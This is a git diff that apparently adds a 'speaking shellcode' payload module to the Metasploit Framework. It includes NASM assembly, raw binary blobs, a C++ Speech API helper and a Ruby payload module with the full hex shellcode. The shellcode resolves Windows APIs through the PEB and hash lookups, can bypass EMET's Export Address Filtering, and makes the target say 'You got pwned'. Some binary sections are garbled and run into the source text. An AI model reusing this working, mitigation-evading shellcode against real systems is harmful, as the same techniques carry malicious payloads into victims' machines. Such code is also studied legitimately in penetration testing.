diff --git a/external/source/shellcode/windows/speech/COPYRIGHT.txt b/external/source/shellcode/windows/speech/COPYRIGHT.txt new file mode 100644 index 0000000000..dcf70a0608 --- /dev/null +++ b/external/source/shellcode/windows/speech/COPYRIGHT.txt @@ -0,0 +1,24 @@ +Copyright (c) 2009-2010 Berend-Jan "SkyLined" Wever +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of the + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/shellcode/windows/speech/Speak.cpp b/external/source/shellcode/windows/speech/Speak.cpp new file mode 100644 index 0000000000..a0d3e17c39 --- /dev/null +++ b/external/source/shellcode/windows/speech/Speak.cpp @@ -0,0 +1,15 @@ +#include +#include + +int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] ) { + ISpVoice * pVoice = NULL; + DWORD iid_ispvoice[] = {0x6c44df74, 0x499272b9, 0x99efeca1, 0xd422046e}; + DWORD clsid_spvoice[] = {0x96749377, 0x11d23391, 0xc000e39e, 0x9673794f}; + DWORD clsctx_all = 0x17; + + ::CoInitialize(NULL); + + CoCreateInstance((REFCLSID)clsid_spvoice, NULL, clsctx_all, (REFIID)iid_ispvoice, (void **)&pVoice); + pVoice->Speak(argv[1], 0, NULL); + return TRUE; +} diff --git a/external/source/shellcode/windows/speech/Speak.exe b/external/source/shellcode/windows/speech/Speak.exe new file mode 100644 index 0000000000..a9ed3a08ae Binary files /dev/null and b/external/source/shellcode/windows/speech/Speak.exe differ diff --git a/external/source/shellcode/windows/speech/w32-speaking-shellcode-eaf.bin b/external/source/shellcode/windows/speech/w32-speaking-shellcode-eaf.bin new file mode 100644 index 0000000000..3964099d0e --- /dev/null +++ b/external/source/shellcode/windows/speech/w32-speaking-shellcode-eaf.bin @@ -0,0 +1 @@ +1öd‹v0‹v ‹v‹V·j<T*,¶B:‹@0Ãu÷RVf¾ª_‹oÿ7‹]<‹\xë‹Kgãë‹{ ï‹|üï1À™2fÁÊ®u÷If9òtgãËéÛÿÿÿ‹s$î·4NCìÿT$è‹<°ï1öfúÚðtfúi't"j2hole3TÿוXXf¾ÚðéÿÿÿVÿ×f¾i'éƒÿÿÿhn"Ôh¡ìï™h¹r’IhtßDl‰àhOys–hžãÀÿL$h‘3Òhw“t–‰ãVTPjVSÿ×[hog Uhop th!dnh–‰æP¬fP +; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ +; All rights reserved. See COPYRIGHT.txt for details. +BITS 32 +; Windows x86 null-free shellcode that executes calc.exe. +; Works in any application for Windows 5.0-7.0 all service packs. +; (See http://skypher.com/wiki/index.php/Hacking/Shellcode). +; This version uses 16-bit hashes. + +%include 'w32-speaking-shellcode-hash-list.asm' + +%define B2W(b1,b2) (((b2) << 8) + (b1)) +%define W2DW(w1,w2) (((w2) << 16) + (w1)) +%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1)) + +%ifdef STACK_ALIGN + AND SP, 0xFFFC +%endif +find_hash: ; Find ntdll's InInitOrder list of modules: + XOR ESI, ESI ; ESI = 0 + MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30]) + MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr + MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module) + +%ifdef DEFEAT_EAF + ; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code: + ; ntdll32!RtlGetCurrentPeb () + ; 64a118000000 mov eax,dword ptr fs:[00000018h] + ; 8b4030 mov eax,dword ptr [eax+30h] + ; c3 ret + MOV EDX, [ESI + 0x08] ; EDX = InInitOrder[X].base_address == module + MOVZX EBP, WORD [EDX + 0x3C] ; EBX = module->pe_header_offset + ADD EDX, [EDX + EBP + 0x2C] ; EDX = module + module.pe_header->code_offset == module code + MOV DH, 0xF ; The EAF breakpoints are in tables that are at the start of ntdll, + ; so we can avoid them easily... + scan_for_memory_reader: + INC EDX + CMP DWORD [EDX], 0xC330408B ; EDX => MOV EAX, [EAX+30], RET ? + JNE scan_for_memory_reader + PUSH EDX ; Stack = &(defeat eaf) +%endif + PUSH ESI ; Stack = InInitOrder[0], [&(defeat eaf)] + MOV SI, hash_kernel32_LoadLibraryA + +next_module: ; Get the baseaddress of the current module and find the next module: + POP EDI ; EDI = InInitOrder[X] | Stack = [&(defeat eaf), ] "ole32\0\0\0" + MOV EBP, [EDI + 0x08] ; EBP = InInitOrder[X].base_address + PUSH DWORD [EDI] ; Stack = InInitOrder[X].flink == InInitOrder[X+1], [&(defeat eaf), ] "ole32\0\0\0" +get_proc_address_loop: ; Find the PE header and export and names tables of the module: + MOV EBX, [EBP + 0x3C] ; EBX = &(PE header) + MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table) + ADD EBX, EBP ; EBX = &(export table) + MOV ECX, [EBX + 0x18] ; ECX = number of name pointers + JCXZ next_module ; No name pointers? Next module. +next_function_loop: ; Get the next function name for hashing: + MOV EDI, [EBX + 0x20] ; EDI = offset(names table) + ADD EDI, EBP ; EDI = &(names table) + MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name) + ADD EDI, EBP ; EDI = &(function name) + XOR EAX, EAX ; EAX = 0 + CDQ ; EDX = 0 +hash_loop: ; Hash the function name and compare with requested hash + XOR DL, [EDI] + ROR DX, BYTE hash_ror_value + SCASB + JNE hash_loop + DEC ECX + CMP DX, SI ; Is this the hash we're looking for? + JE found_function ; + JCXZ next_module ; Not the right hash and no functions left in module? Next module + JMP next_function_loop ; Not the right hash and functions left in module? Next function +found_function: + ; Found the right hash: get the address of the function: + MOV ESI, [EBX + 0x24] ; ESI = offset ordinals table + ADD ESI, EBP ; ESI = &oridinals table + MOVZX ESI, WORD [ESI + 2 * ECX] ; ESI = ordinal number of function +%ifdef DEFEAT_EAF + LEA EAX, [EBX + 0x1C - 0x30] ; EAX = &offset address table - MEMORY_READER_OFFSET + CALL [ESP + 4] ; call defeat eaf: EAX = [EAX + 0x30] == [&offset address table] == offset address table +%else + MOV EAX, [EBX + 0x1C] ; EDI = offset address table +%endif + ADD EAX, EBP ; EAX = &address table + MOV EDI, [EAX + 4 * ESI] ; EDI = offset function + ADD EDI, EBP ; EDI = &(function) + XOR ESI, ESI ; ESI = 0 + CMP DX, hash_ole32_CoInitialize ; + JE ole32_CoInitialize ; + CMP DX, hash_ole32_CoCreateInstance + JE ole32_CoCreateInstance ; +kernel32_LoadLibrary: + PUSH BYTE '2' ; Stack = "2\0\0\0", InInitOrder[X] [, &(defeat eaf)] + PUSH B2DW('o', 'l', 'e', '3') ; Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + PUSH ESP ; Stack = &("ole32"), "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + CALL EDI ; LoadLibraryA(&("ole32")) | Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + XCHG EAX, EBP ; EBP = &(ole32.dll) +%ifdef DEFEAT_EAF + POP EAX ; Stack = "2\0\0\0", InInitOrder[X], &(defeat eaf)] + POP EAX ; Stack = InInitOrder[X], &(defeat eaf) +%endif + MOV SI, hash_ole32_CoInitialize ; + JMP get_proc_address_loop + +ole32_CoInitialize: + PUSH ESI ; Stack = 0, InInitOrder[X] [, &(defeat eaf)] + CALL EDI ; CoInitialize(NULL), Stack = InInitOrder[X] [, &(defeat eaf)] + MOV SI, hash_ole32_CoCreateInstance ; + JMP get_proc_address_loop + +ole32_CoCreateInstance: + PUSH 0xd422046e + PUSH 0x99efeca1 + PUSH 0x499272b9 + PUSH 0x6c44df74 ; Stack = IID_ISpVoice, .... + MOV EAX, ESP ; EAX = &(IID_ISpVoice) + PUSH 0x9673794f + PUSH 0xc001e39e + DEC DWORD [ESP+2] + PUSH 0x11d23391 + PUSH 0x96749377 ; Stack = CLSID_SpVoice, IID_ISpVoice, .... + MOV EBX, ESP ; EBX = &(CLSID_SpVoice), ... + PUSH ESI ; Stack = voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH ESP ; Stack = &(voice), voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH EAX ; Stack = &(IID_ISpVoice), &(voice), voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH BYTE 0x17 ; Stack = CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + PUSH ESI ; Stack = NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + PUSH EBX ; Stack = &(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + CALL EDI ; CoCreateInstance(&(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &voice) | Stack = voice, ... + POP EBX ; EBX = voice | Stack = ... + PUSH B2DW('o', 'g', ' ', 'U') ; Stack = "og U", ... + PUSH B2DW('o', 'p', ' ', 't') ; Stack = "op tog U", ... + PUSH B2DW('!', 'd', 'n', 'h') ; Stack = "!dnhop tog U", ... + XCHG EAX, ESI ; EAX = 0 + MOV ESI, ESP ; ESI = &("!dnhop tog U") + PUSH EAX ; Stack = 0, "!dnhop tog U", ... +unicode_loop: + LODSB ; read: "!dnhop tog U" + PUSH AX ; write: Stack = u"U got pohnd!", 0, "!dnhop tog U", ... + CMP AL, 'U' ; EAX == 0? (WCHAR == '\0'?) + JNE unicode_loop + MOV ECX, ESP ; ECX = &(u"U got pohnd!\0") + XOR EAX, EAX ; EAX = 0 + PUSH EAX ; Stack = 0, ... + PUSH EAX ; Stack = 0, 0, ... + PUSH ECX ; Stack = &(u"U got pohnd!\0"), 0, 0, ... + PUSH EBX ; Stack = voice, &(u"U got pohnd!\0"), 0, 0, ... + MOV EDX, [EBX] ; EDX = voice->vftable + MOV ECX, [EDX+0x50] ; ECX = voice->vftable->Speak + CALL ECX ; SpVoice::Speak(voice, &(u"U got pohnd!\0"), 0, 0) | Stack = ... + INT3 ; Crash diff --git a/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin b/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin new file mode 100644 index 0000000000..ee561dae9e --- /dev/null +++ b/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin @@ -0,0 +1 @@ +1öd‹v0‹v ‹vVf¾ª_‹oÿ7‹]<‹\xë‹Kgãë‹{ ï‹|üï1À™2fÁÊ®u÷If9òtgãËéÛÿÿÿ‹s$î·4N‹Cè‹<°ï1öfúÚðtfúi't j2hole3Tÿוf¾Úðé•ÿÿÿVÿ×f¾i'é‰ÿÿÿhn"Ôh¡ìï™h¹r’IhtßDl‰àhOys–hžãÀÿL$h‘3Òhw“t–‰ãVTPjVSÿ×[hog Uhop th!dnh–‰æP¬fP +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of the + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=end + +require 'msf/core' +require 'msf/core/payload/windows/exec' + + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Speech API - Say "You Got Pwned!"', + 'Version' => '$Revision$', + 'Description' => 'Causes the target to say "You Got Pwned" via the Windows Speech API', + 'Author' => [ 'Berend-Jan "SkyLined" Wever ' ], + 'License' => BSD_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Privileged' => false, + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => + "\x66\x81\xe4\xfc\xff\x31\xf6\x64\x8b\x76\x30\x8b" + + "\x76\x0c\x8b\x76\x1c\x56\x66\xbe\xaa\x1a\x5f\x8b" + + "\x6f\x08\xff\x37\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01" + + "\xeb\x8b\x4b\x18\x67\xe3\xeb\x8b\x7b\x20\x01\xef" + + "\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66" + + "\xc1\xca\x01\xae\x75\xf7\x49\x66\x39\xf2\x74\x08" + + "\x67\xe3\xcb\xe9\xdb\xff\xff\xff\x8b\x73\x24\x01" + + "\xee\x0f\xb7\x34\x4e\x8b\x43\x1c\x01\xe8\x8b\x3c" + + "\xb0\x01\xef\x31\xf6\x66\x81\xfa\xda\xf0\x74\x1b" + + "\x66\x81\xfa\x69\x27\x74\x20\x6a\x32\x68\x6f\x6c" + + "\x65\x33\x54\xff\xd7\x95\x66\xbe\xda\xf0\xe9\x95" + + "\xff\xff\xff\x56\xff\xd7\x66\xbe\x69\x27\xe9\x89" + + "\xff\xff\xff\x68\x6e\x04\x22\xd4\x68\xa1\xec\xef" + + "\x99\x68\xb9\x72\x92\x49\x68\x74\xdf\x44\x6c\x89" + + "\xe0\x68\x4f\x79\x73\x96\x68\x9e\xe3\x01\xc0\xff" + + "\x4c\x24\x02\x68\x91\x33\xd2\x11\x68\x77\x93\x74" + + "\x96\x89\xe3\x56\x54\x50\x6a\x17\x56\x53\xff\xd7" + + "\x5b\x68\x6f\x67\x20\x55\x68\x6f\x70\x20\x74\x68" + + "\x21\x64\x6e\x68\x96\x89\xe6\x50\xac\x66\x50\x3c" + + "\x55\x75\xf9\x89\xe1\x31\xc0\x50\x50\x51\x53\x8b" + + "\x13\x8b\x4a\x50\xff\xd1\xcc" + } + )) + + # EXITFUNC is not supported :/ + deregister_options('EXITFUNC') + end + +end